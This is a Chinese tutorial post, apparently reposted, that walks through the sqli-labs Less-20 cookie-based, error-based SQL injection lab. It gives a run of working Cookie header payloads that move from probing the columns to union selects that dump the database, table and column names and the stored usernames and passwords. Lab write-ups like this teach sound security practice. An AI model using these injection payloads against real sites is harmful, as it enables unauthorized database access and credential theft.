Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

Posted meng-yu37

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)相关的知识,希望对你有一定的参考价值。

1.单引号,报错型,cookie型注入。

  (1)登录后页面显示:

     技术图片

  (2)查看一下php文件

    技术图片

 

 

     可以看到查询语句查询cookee,那我们就在cookies里面进行注入

  (3)抓包看一下:

    技术图片

 

 

     看到cookie:uname=admin ,就可以以cookie注入了

  (4)加单引号发现:

    技术图片

 

 

     爆出语法错误,看得出来就是单引号型;

  (5)接下来查一下行数

    Cookie:uname=admin‘ order by 3 --+ //正常

 

 

 

    技术图片

 

 

 

   Cookie:uname=admin‘ order by 4 --+  //不正常

           技术图片

 

 

 2.爆破

  (1)爆库:Cookie:uname=-admin‘ union select 1,2,database() --+

    技术图片

 

   (2)爆表:Cookie:uname=-admin‘ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security"  --+

    技术图片

 

  (3)爆列名:Cookie:uname=-admin‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users"   --+

    技术图片

 

   (4)爆值:Cookie:uname=-admin‘ union select 1,2,group_concat(username,0x7e,password)from security.users    --+

     技术图片

 

 

 

     

以上是关于Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs Less20-Less22

less 20 21 22

sqli-labs less21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

利用cookie进行SQL注入——看来还是人工注入要熟悉才行

用于无 cookie 域的具有自定义 javascript 函数的 LESS CSS

如何获取 cookie 并将它们用于其他请求,如 POST ( iOS )?